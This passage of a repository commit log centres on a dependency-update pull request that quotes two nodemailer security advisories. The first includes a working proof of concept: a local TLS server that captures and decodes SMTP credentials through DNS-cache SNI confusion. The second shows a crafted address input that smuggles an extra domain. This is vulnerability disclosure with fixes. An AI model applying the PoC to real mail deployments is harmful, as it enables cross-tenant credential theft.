contains only `host`, the cached value contains both DNS addresses and the request-specific TLS identity: ```ts const value: DnsCacheValue = { addresses: allAddresses, servername: options.servername || host }; dnsCache.set(host, { value, expires: Date.now() + (options.dnsTtl || DNS_TTL) }); ``` On a cache hit, `resolveHostname()` returns the cached `servername` without considering the current call's `options.servername`: ```ts if (!cached.expires || cached.expires >= now) { return callback( null, formatDNSValue(cached.value, { cached: true }) ); } ``` `formatDNSValue()` copies that stale value into the result: ```ts return Object.assign( { servername: value.servername, host, _addresses: addresses }, extra || {} ); ``` For a direct TLS connection, `SMTPConnection.connect()` initially copies the current transport's TLS configuration into `opts`. `_resolveAndConnect()` then overwrites every truthy field with the cached resolver result, including `opts.servername`: ```ts Object.assign(opts, this.options.tls || {}); if (this.servername && !opts.servername) { opts.servername = this.servername; } return this._resolveAndConnect(opts, resolved => { this._connectToHost(opts, this.secureConnection); }); ``` ```ts for (const key of Object.keys(resolved!)) { if (key.charAt(0) !== '_' && (resolved as { [key: string]: any })[key]) { (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key]; } } ``` The resulting `opts` object is passed to `tls.connect()`. Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport. The default DNS cache TTL is five minutes: ```ts const DNS_TTL = 5 * 60 * 1000; ``` ##### Code path ```text Tenant A: createTransport({ host: H, secure: true, tls: { servername: attackerName } }) -> SMTPConnection.connect() -> _resolveAndConnect(opts) -> shared.resolveHostname({ host: H, servername: attackerName }) -> dnsCache.set(H, { addresses, servername: attackerName }) Victim: createTransport({ host: H, secure: true, tls: { servername: victimName } }) -> SMTPConnection.connect() -> opts.servername = victimName -> _resolveAndConnect(opts) -> shared.resolveHostname({ host: H, servername: victimName }) -> dnsCache.get(H) -> returns cached servername = attackerName -> _resolveAndConnect overwrites opts.servername -> tls.connect({ servername: attackerName }) -> attacker SNI virtual host and certificate are selected -> AUTH transmits victim SMTP credentials ``` ##### Relevant source locations in the tested revision - `src/shared/index.ts:184` — five-minute default cache TTL - `src/shared/index.ts:245` — process-global cache keyed by host - `src/shared/index.ts:247-262` — cached `servername` returned by `formatDNSValue()` - `src/shared/index.ts:292-323` — host-only lookup and cache-hit return - `src/shared/index.ts:350-359` — caller-specific `servername` stored in host-only cache - `src/smtp-connection/index.ts:713-729` — direct TLS options and resolver call - `src/smtp-connection/index.ts:741-763` — cached fields overwrite current connection options ##### PoC ##### Prerequisites - Node.js 20 (tested with Node.js `20.20.2`) - A checkout/build of Nodemailer `10.0.1` - OpenSSL to generate the local test certificate No external SMTP server or network access is required. ##### 1. Generate a certificate for only `attacker.test` Create `openssl.cnf`: ```ini [req] distinguished_name = dn x509_extensions = ext prompt = no [dn] CN = attacker.test [ext] subjectAltName = DNS:attacker.test basicConstraints = critical,CA:TRUE keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign extendedKeyUsage = serverAuth ``` Generate the certificate and private key: ```bash openssl req -x509 -newkey rsa:2048 -nodes -days 1 \ -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf ``` ##### 2. Save the following as `poc-dns-cache-servername-confusion.mjs` Adjust the two import paths if the PoC is not saved beside the repository checkout. ```js import fs from 'node:fs'; import tls from 'node:tls'; import nodemailer from '../../nodemailer/dist/esm/nodemailer.js'; import * as shared from '../../nodemailer/dist/esm/shared/index.js'; const cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url)); const key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url)); const observedSni = []; const observedAuth = []; const server = tls.createServer({ key, cert }, socket => { observedSni.push(socket.servername); socket.write('220 attacker.test ESMTP\r\n'); let input = ''; socket.on('data', chunk => { input += chunk.toString(); let end; while ((end = input.indexOf('\r\n')) >= 0) { const line = input.slice(0, end); input = input.slice(end + 2); if (/^EHLO /i.test(line)) { socket.write('250-attacker.test\r\n250 AUTH PLAIN\r\n'); } else if (/^AUTH /i.test(line)) { observedAuth.push(line); socket.write('235 2.7.0 Authentication successful\r\n'); } else if (/^QUIT/i.test(line)) { socket.end('221 Bye\r\n'); } else { socket.write('250 OK\r\n'); } } }); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); try { shared.dnsCache.clear(); // Tenant A seeds the process-global cache for the shared DNS host. const attackerTransport = nodemailer.createTransport({ host: 'localhost', port: server.address().port, secure: true, auth: { user: 'attacker@example.test', pass: 'attacker-secret' }, tls: { ca: cert, servername: 'attacker.test', rejectUnauthorized: true } }); await attackerTransport.verify(); attackerTransport.close(); // The victim explicitly configures a different TLS identity. const victimTransport = nodemailer.createTransport({ host: 'localhost', port: server.address().port, secure: true, auth: { user: 'victim@example.test', pass: 'victim-secret' }, tls: { ca: cert, servername: 'victim.test', rejectUnauthorized: true } }); await victimTransport.verify(); victimTransport.close(); const decoded = observedAuth.map(line => line.startsWith('AUTH PLAIN ') ? Buffer.from(line.slice('AUTH PLAIN '.length), 'base64').toString() : null ); console.log(JSON.stringify({ attackerConfiguredServername: 'attacker.test', victimConfiguredServername: 'victim.test', serverObservedSniForBothConnections: observedSni, serverReceivedCredentials: decoded }, null, 2)); } finally { shared.dnsCache.clear(); await new Promise(resolve => server.close(resolve)); } ``` ##### 3. Build and run From the Nodemailer checkout: ```bash npm install npm run build node ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs ``` ##### Observed result ```json { "attackerConfiguredServername": "attacker.test", "victimConfiguredServername": "victim.test", "serverObservedSniForBothConnections": [ "attacker.test", "attacker.test" ], "serverReceivedCredentials": [ "\\u0000attacker@example.test\\u0000attacker-secret", "\\u0000victim@example.test\\u0000victim-secret" ] } ``` The victim configured `victim.test`, but the server observes `attacker.test` for both handshakes. The local certificate contains only `attacker.test`, yet the victim connection succeeds with `rejectUnauthorized: true` and then sends the victim's username and password. ##### Expected result The second connection must use `victim.test` for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as `attacker.test`. ##### Impact The vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS `host`. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname. An attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker's `tls.servername`. During the cache lifetime, a victim's direct SMTPS connection to that host can: 1. send the attacker's server name as SNI; 2. be routed to the attacker's TLS virtual host; 3. validate the attacker's certificate against the stale name, even though strict certificate validation is enabled; and 4. transmit the victim's SMTP username and password to that endpoint. Possession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider. Where the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact. ##### Preconditions and limitations - Two transports must execute in the same Node.js process within the cache lifetime. - They must use the same non-IP `host` cache key and different `tls.servername` values. - Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name. - The demonstrated path uses direct SMTPS (`secure: true`). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report. ##### Suggested remediation The DNS cache should store DNS data only. `servername` is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname. One approach is to remove `servername` from `DnsCacheValue` and derive the returned value from the current request on every path: ```ts return { host: selectedAddress, servername: options.servername || options.host || false, _addresses: addresses, cached: true }; ``` As defense in depth, `_resolveAndConnect()` should not overwrite an explicitly configured `opts.servername` with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation. A regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order. #### Severity - CVSS Score: 5.9 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-6vj9-mwq6-2f5v](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-6vj9-mwq6-2f5v) - [https://github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe](https://redirect.github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe) - [https://github.com/nodemailer/nodemailer/releases/tag/v10.0.2](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.0.2) - [https://github.com/advisories/GHSA-6vj9-mwq6-2f5v](https://redirect.github.com/advisories/GHSA-6vj9-mwq6-2f5v) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-6vj9-mwq6-2f5v) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Nodemailer: Quoted local-part can produce malformed envelope recipient through RFC 5322 comment parsing [GHSA-g57g-f23g-4646](https://redirect.github.com/advisories/GHSA-g57g-f23g-4646) <details> <summary>More information</summary> #### Details ##### Summary Nodemailer's address parser can produce an unexpected recipient address when an RFC 5322 comment follows the domain of an address whose local-part is a quoted string. For example: ```text "user"@example.com(x)evil.com ``` is parsed as: ```text { address: "user@example.com evil.com", name: "" } ``` The resulting address therefore contains additional attacker-controlled domain text separated by a literal space. The parsed `.address` value is subsequently propagated into the SMTP envelope: ```text src/addressparser/index.ts ↓ recipient.address ↓ src/mime-node/index.ts ↓ envelope.to ``` The envelope construction uses the parsed address without another strict address validation step. This appears to be a variant of the RFC 5322 comment parsing issue addressed by GHSA-cc9r-2j5m-2m83, but it follows a different parser path when the local-part is quoted. ##### Reproduction Input: ```text "user"@example.com(x)evil.com ``` Observed parser output: ```text address: "user@example.com evil.com" name: "" ``` A second example: ```text "a"@b.com(c)d.com(e)f.com ``` produces: ```text address: "a@b.com d.com f.com" name: "" ``` For comparison, the corresponding unquoted form: ```text user@example.com(x)evil.com ``` takes a different code path and is handled by the existing protection differently. ##### Technical Details The issue is caused by different parsing behavior for quoted and unquoted local-parts. The quoted-local-part variant allows the comment-separated trailing domain atoms to remain in the resulting `.address` value. That value is then used when constructing the message envelope: ```text envelope.to = recipients.map(to => to.address as string) ``` No additional strict recipient validation is performed at this boundary. ##### Security Impact The confirmed impact is that attacker-controlled comment content can result in a malformed/ambiguous recipient address being accepted by the parser and propagated into `envelope.to`. The reporter did **not confirm successful delivery to an unintended recipient through a real SMTP server using this exact quoted-local-part variant**. The remaining question is how real SMTP servers and other Nodemailer transports handle an envelope recipient containing a value such as: ```text user@example.com evil.com ``` An end-to-end SMTP test is required to determine whether this parser behavior results in an exploitable delivery or recipient-validation bypass. ##### Relationship to GHSA-cc9r-2j5m-2m83 This report is intended as a potential variant/follow-up to GHSA-cc9r-2j5m-2m83. The existing advisory addresses RFC 5322 comment handling in email domains. This report identifies a separate parser path involving quoted local-parts that can preserve additional domain-like content in the normalized address. Please evaluate whether this behavior is already covered by the existing fix or represents a remaining parser variant. ##### Suggested Fix The parser should consistently reject or correctly terminate addresses containing trailing domain atoms after RFC 5322 comments, regardless of whether the local-part is quoted. In particular: ```text "user"@example.com(x)evil.com ``` should not result in: ```text user@example.com evil.com ``` The envelope-generation layer should also avoid assuming that a parser-produced address is safe for SMTP delivery without appropriate validation. ##### Verification Status Confirmed: * Parser accepts the quoted-local-part variant. * Parser produces an address containing additional attacker-controlled text. * The resulting address is propagated into `envelope.to`. Not confirmed by reporter: * Successful delivery through a real SMTP server. * Delivery to an unintended recipient. * Exploitability against a specific downstream SMTP implementation. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-g57g-f23g-4646](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-g57g-f23g-4646) - [https://github.com/nodemailer/nodemailer/commit/2f36eb1aa1dd33e312411dc9b888548e14db54ee](https://redirect.github.com/nodemailer/nodemailer/commit/2f36eb1aa1dd33e312411dc9b888548e14db54ee) - [https://github.com/nodemailer/nodemailer/releases/tag/v10.0.9](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.0.9) - [https://github.com/advisories/GHSA-g57g-f23g-4646](https://redirect.github.com/advisories/GHSA-g57g-f23g-4646) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-g57g-f23g-4646) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>nodemailer/nodemailer (nodemailer)</summary> ### [`v10.0.9`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1009-2026-09-12) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.8...v10.0.9) ##### Bug Fixes - **addressparser:** bound the '@​' probe to the run being scanned ([1465c3f](https://redirect.github.com/nodemailer/nodemailer/commit/1465c3f5ff74a7c4fbbe9853bd01448bb92bf5b7)) - **addressparser:** keep the text after a comment out of a quoted local part address ([2f36eb1](https://redirect.github.com/nodemailer/nodemailer/commit/2f36eb1aa1dd33e312411dc9b888548e14db54ee)) ### [`v10.0.8`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1008-2026-09-11) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.7...v10.0.8) ##### Bug Fixes - **mime-node:** clean the boundary where it is written, not only where it is built ([e14278d](https://redirect.github.com/nodemailer/nodemailer/commit/e14278d2dae9427280c79450605a27b1c5d2c355)) - **mime-node:** drop every control character from multipart boundary material ([a82a355](https://redirect.github.com/nodemailer/nodemailer/commit/a82a35554848a2e07485ff81f80aefe2736e5a04)) ### [`v10.0.7`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1007-2026-09-11) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.6...v10.0.7) ##### Bug Fixes - **mime-funcs:** do not double encode Buffer input when chunking base64 mime words ([#​1865](https://redirect.github.com/nodemailer/nodemailer/issues/1865)) ([4327a59](https://redirect.github.com/nodemailer/nodemailer/commit/4327a59939748a7f9394b0a029495fd476f68f30)) - **mime-node:** keep a boundary that is only line breaks from stripping to empty ([ec46800](https://redirect.github.com/nodemailer/nodemailer/commit/ec46800cdcab734d9aa79e1278e819962b3b8f09)) - **mime-node:** strip line breaks from multipart boundary material ([#​1867](https://redirect.github.com/nodemailer/nodemailer/issues/1867)) ([03c1a5c](https://redirect.github.com/nodemailer/nodemailer/commit/03c1a5c48b6828d9392983d8718fdb1fd583a06c)) - **smtp-pool:** release rate-limited connections on close ([#​1866](https://redirect.github.com/nodemailer/nodemailer/issues/1866)) ([7f5c7a4](https://redirect.github.com/nodemailer/nodemailer/commit/7f5c7a46b61da9f5c5feaffd921c55b9d5892ee5)) ### [`v10.0.6`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1006-2026-09-11) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.5...v10.0.6) ##### Bug Fixes - **addressparser:** scan free text for an address in linear time ([437d7fc](https://redirect.github.com/nodemailer/nodemailer/commit/437d7fc47403df176bc39271641541b7a9bce102)) ### [`v10.0.5`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1005-2026-09-11) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.4...v10.0.5) ##### Bug Fixes - **addressparser:** parse comment-joined addresses in linear time ([c07f175](https://redirect.github.com/nodemailer/nodemailer/commit/c07f17518d25aca8ab2ad66968dcbca538c24b89)) ### [`v10.0.4`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1004-2026-09-11) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.3...v10.0.4) ##### Bug Fixes - **fetch:** scope a cookie without a Path to the RFC 6265 default path ([2f907cb](https://redirect.github.com/nodemailer/nodemailer/commit/2f907cb71396860d0b2534dc72c3d252ef16339d)) - **fetch:** send cookies set with Path back to the exact path ([#​1861](https://redirect.github.com/nodemailer/nodemailer/issues/1861)) ([d557113](https://redirect.github.com/nodemailer/nodemailer/commit/d5571139750de47abbac73a3b07ae90ff39a7bdd)) - **mail-composer:** keep httpHeaders and tls for href alternatives and icalEvent ([#​1862](https://redirect.github.com/nodemailer/nodemailer/issues/1862)) ([7f502be](https://redirect.github.com/nodemailer/nodemailer/commit/7f502bee4a6b0386099c66c0a35d92850ec462f7)) - resolve well-known services by their primary domains ([#​1859](https://redirect.github.com/nodemailer/nodemailer/issues/1859)) ([085f525](https://redirect.github.com/nodemailer/nodemailer/commit/085f525e6b292f0ca32ab1b20d4a4ee82fc40e2d)) - **ses-transport:** throw a configuration error when the SES client is missing ([#​1863](https://redirect.github.com/nodemailer/nodemailer/issues/1863)) ([4d9c4c9](https://redirect.github.com/nodemailer/nodemailer/commit/4d9c4c966aaca61ff6d7649a1ac0aa0ceac6ef1e)) ### [`v10.0.3`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1003-2026-09-10) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.2...v10.0.3) ##### Bug Fixes - **fetch:** honor the cookie Domain attribute without accepting public suffixes ([1608391](https://redirect.github.com/nodemailer/nodemailer/commit/1608391ff4ccd5422a88e4cf760b26068aad6d39)), closes [#​1856](https://redirect.github.com/nodemailer/nodemailer/issues/1856) ### [`v10.0.2`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1002-2026-09-09) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.1...v10.0.2) ##### Bug Fixes - **mime-node:** flatten nested recipient arrays without recursion ([ebe0849](https://redirect.github.com/nodemailer/nodemailer/commit/ebe084940aef88278afc6016b78c6d1c3821bb66)) - **shared:** keep the TLS server name out of the DNS cache ([a6512db](https://redirect.github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe)) ### [`v10.0.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1001-2026-09-07) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.0...v10.0.1) ##### Bug Fixes - **types:** accept an explicit undefined for optional properties ([209719d](https://redirect.github.com/nodemailer/nodemailer/commit/209719dd6a192656a6b18de265a3b4ac387208ff)), closes [#​1853](https://redirect.github.com/nodemailer/nodemailer/issues/1853) - **types:** drop the internal members from the published declarations ([81e64ea](https://redirect.github.com/nodemailer/nodemailer/commit/81e64eaee70aabf867afef88d3733556c9fcc1cc)) ### [`v10.0.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1000-2026-09-03) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v9.1.1...v10.0.0) ##### ⚠ BREAKING CHANGES - Node.js 20 or newer is required. The Node.js 6 syntax compatibility check and the .npmignore file are gone. ##### Features - keep the [@​types/nodemailer](https://redirect.github.com/types/nodemailer) type layout working ([1cc5356](https://redirect.github.com/nodemailer/nodemailer/commit/1cc535627e1bb672214b09fa4cc503567275fd7f)) - migrate to TypeScript with ES module and CommonJS builds ([f7cbf83](https://redirect.github.com/nodemailer/nodemailer/commit/f7cbf8384e0ea6055efcc514afb8bc070ac3a2b1)) ##### Bug Fixes - apply the other keys of a configuration object next to its url ([29610f9](https://redirect.github.com/nodemailer/nodemailer/commit/29610f9fe04dbd8af04c4a3362f3b68d293592da)) - **dkim:** canonicalize raw messages the way verifiers do ([2c84b11](https://redirect.github.com/nodemailer/nodemailer/commit/2c84b117d4d138751e9ffa8607f3796771bb5e66)) - keep a transporter assignable to the plain Transporter type ([8bf55fb](https://redirect.github.com/nodemailer/nodemailer/commit/8bf55fb177cf155b24d6bb86a7cd86670146d551)) - **shared:** keep a colon in the user name of a connection or proxy url ([6acf4b6](https://redirect.github.com/nodemailer/nodemailer/commit/6acf4b67d919971f516f58940113c9b8598b2254)) - **shared:** refuse URL hosts the legacy parser would truncate ([17a5068](https://redirect.github.com/nodemailer/nodemailer/commit/17a5068f06e62fc04e1d5545ed70d4248bef258e)) - **shared:** resolve hostnames when the runtime has no interface table ([8b03240](https://redirect.github.com/nodemailer/nodemailer/commit/8b032407135ea05ae377e623a7021705a4a139d0)) - **smtp-connection:** clear the timers of a connection dropped before the greeting ([01dcaa0](https://redirect.github.com/nodemailer/nodemailer/commit/01dcaa05b212aafc33747041027fb8c66497e0eb)) - **smtp-connection:** keep an incomplete server reply out of lastServerResponse ([1a6e427](https://redirect.github.com/nodemailer/nodemailer/commit/1a6e4271adb808509adf11832ad1adfdfc05c31b)) - **smtp-pool:** free the pool slot when the proxy socket can not be opened ([204a344](https://redirect.github.com/nodemailer/nodemailer/commit/204a344f7e4068ff41385195ee394a223ebadd84)) - **well-known:** keep nodemailer/lib/well-known/services.json available ([367730c](https://redirect.github.com/nodemailer/nodemailer/commit/367730cce85bc78c7804405c2cc7d89d93aafdd1)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
544cc60806 |
chore: bump up onenote_parser digest to fa4d7a0 (#15666)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | onenote_parser | workspace.dependencies | digest | `5138a39` → `fa4d7a0` | --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
b71bb7cfc4 | fix(server): test v2026.9.30-canary.909 | ||
|
|
7afb62d5b4 |
feat(server): improve config loading (#15649)
fix #15650 fix #15530 fix #15534 fix #15506 #### PR Dependency Tree * **PR #15649** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit ## Summary * **New Features** * Admin settings show configuration sources and secret status, conceal secret values, and allow database-level overrides to be cleared. * Self-hosted deployments can automatically upgrade existing configuration files. * **Improvements** * Configuration changes apply without restarting the server, and storage settings reload automatically. * Uploads support runtime-managed proxy settings and signed upload tokens. * Incomplete managed Copilot profiles are disabled during migration. * Saving an AI response as a document more reliably targets the matching editor. * **Documentation** * The CLI clarifies that imported configuration changes take effect after the next server start. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
164a84ffe0 |
fix(core): copilot feature determined mcp visible (#15645)
fix #15644 #### PR Dependency Tree * **PR #15645** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * The MCP Server integration now appears only when Copilot is enabled. * MCP credential queries and create, rotate, and revoke actions are rejected while Copilot is disabled. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.9.26-canary.908 |
||
|
|
7dd71162b5 | feat(native): support multi remote source (#15642) | ||
|
|
ca0ffc52f7 | feat(nbstore): multi remote primitive (#15637) v2026.9.23-canary.909 | ||
|
|
d897bb3d84 | chore: bump deps (#15624) v2026.9.21-canary.912 | ||
|
|
81c8622b95 |
feat(editor): add callout to "Turn into" menu (#15508)
## Summary Closes #13954 The "Turn into" menu was missing the Callout option. Users had no way to convert an existing paragraph/list/code block into a Callout directly from the slash menu or context toolbar. ## Root Cause `textConversionConfigs` in `rich-text/src/conversion.ts` had no entry for `affine:callout`, so the option never appeared in the menu. Additionally, Callout is a **hub block** — its text lives in a child paragraph, not in its own `text` prop. This means the generic `transformModel` path would silently fail, requiring a dedicated conversion handler. ## Changes - `blocksuite/affine/rich-text/src/conversion.ts` — add callout entry to `textConversionConfigs` - `blocksuite/affine/blocks/note/src/commands/block-type.ts` — add `transformToCallout` command that: 1. Creates a new `affine:callout` block at the original position 2. Moves the original text into a child `affine:paragraph` inside the callout 3. Deletes the original block ## Before / After | Before | After | |--------|-------| | "Turn into" menu had no Callout option | Callout appears in "Turn into" menu | | Selecting any block → Turn into showed: Heading, Text, Quote, Divider… | Now also shows: **Callout** | <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Convert selected paragraphs, lists, and code blocks into callouts while preserving text and nested content. * Added callout recognition and icon display in rich-text conversion. * Conversion results now distinguish between selected blocks and text. * **Bug Fixes** * Prevented invalid, nested, or incompatible callout conversions. * The conversion menu now hides Callout when unavailable. * Preserved original blocks when conversion fails. * Improved undo and redo behavior for callout conversions. <!-- end of auto-generated comment: release notes by coderabbit.ai --> --------- Co-authored-by: DarkSky <darksky2048@gmail.com> |
||
|
|
3747879413 |
fix(core): linux redo shortcut key (#15623)
fix #15599 #### PR Dependency Tree * **PR #15623** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Corrected the Control+Y redo shortcut so it only activates on Windows and Linux, preventing unintended behavior on other platforms. * **Tests** * Updated cross-platform keyboard tests to explicitly verify undo and redo behavior in a Linux browser environment. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
2662f61b3b |
fix(core): clamp journal date suggestions to the length of the month (#15606)
## Description
I was reading the journal date suggestions and noticed that
`suggestJournalDate` bounds the parsed day with a hardcoded 31 before
building the date string:
```ts
let day = numbers ? parseInt(numbers) : dayjs().date();
const invalidDay = day < 1 || day > 31;
...
dayjs(`${year}-${month}-${day}`)
```
31 is the length of the longest month, so the guard lets through every
day that is valid in December but not in the month the user actually
typed. dayjs does not reject the overflow — it rolls it into the
following month. On `canary` that gives:
- `feb 30` → `2026-03-02`
- `apr 31` → `2026-05-01`
- on the 31st of a month, a plain `feb` (the case that is meant to keep
today's day) → `2026-03-03`
So a query naming February can land in March, and the suggestion quietly
points at a month the user did not ask for. The existing `dec 33` test
covers the intent — an out-of-range day falls back to today's day — but
December has 31 days, so it never reaches this path.
This bounds the day by the length of the matched month instead, and
clamps the fallback the same way, so asking for `feb` on the 31st of a
month stays inside February (`2026-02-28`) rather than jumping to
`2026-03-03`. Nothing outside `suggestJournalDate` changes.
The two tests added to `suggest-date.spec.ts` fail on the current code:
```
× a day past the end of the month falls back inside that month
expected { dateString: '2026-03-02' } to deeply equal { dateString: '2026-02-16' }
× today's day is clamped to the end of a shorter month
expected { dateString: '2026-03-03' } to deeply equal { dateString: '2026-02-28' }
Tests 2 failed | 16 passed (18)
```
and pass with the fix, along with the rest of the journal module (`23
passed`). `oxlint --deny-warnings` and `oxfmt --check` are clean on both
files. I left the `yarn lint` / `yarn typecheck` box unchecked: `yarn
typecheck` reports 684 errors in my environment, all in
`packages/backend/server` (the Prisma client isn't generated here) and
`packages/frontend/templates`, none in `packages/frontend/core` or in
the two files touched.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- **Bug Fixes**
- Improved journal date suggestions for months with fewer than 31 days.
- Invalid dates, such as February 30 or 31, now resolve to valid dates
within the selected month.
- Suggested dates are capped at the final day of the selected month when
today’s day number exceeds that month’s length.
- February suggestions now correctly account for both leap years and
non-leap years.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <darksky2048@gmail.com>
|
||
|
|
10c4a1e7d6 |
fix(editor): latex dollar preprocessor (#15622)
#### PR Dependency Tree * **PR #15622** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) |
||
|
|
42457ef6f7 |
fix(latex): keep inline math that starts with a digit (#15588) (#15596)
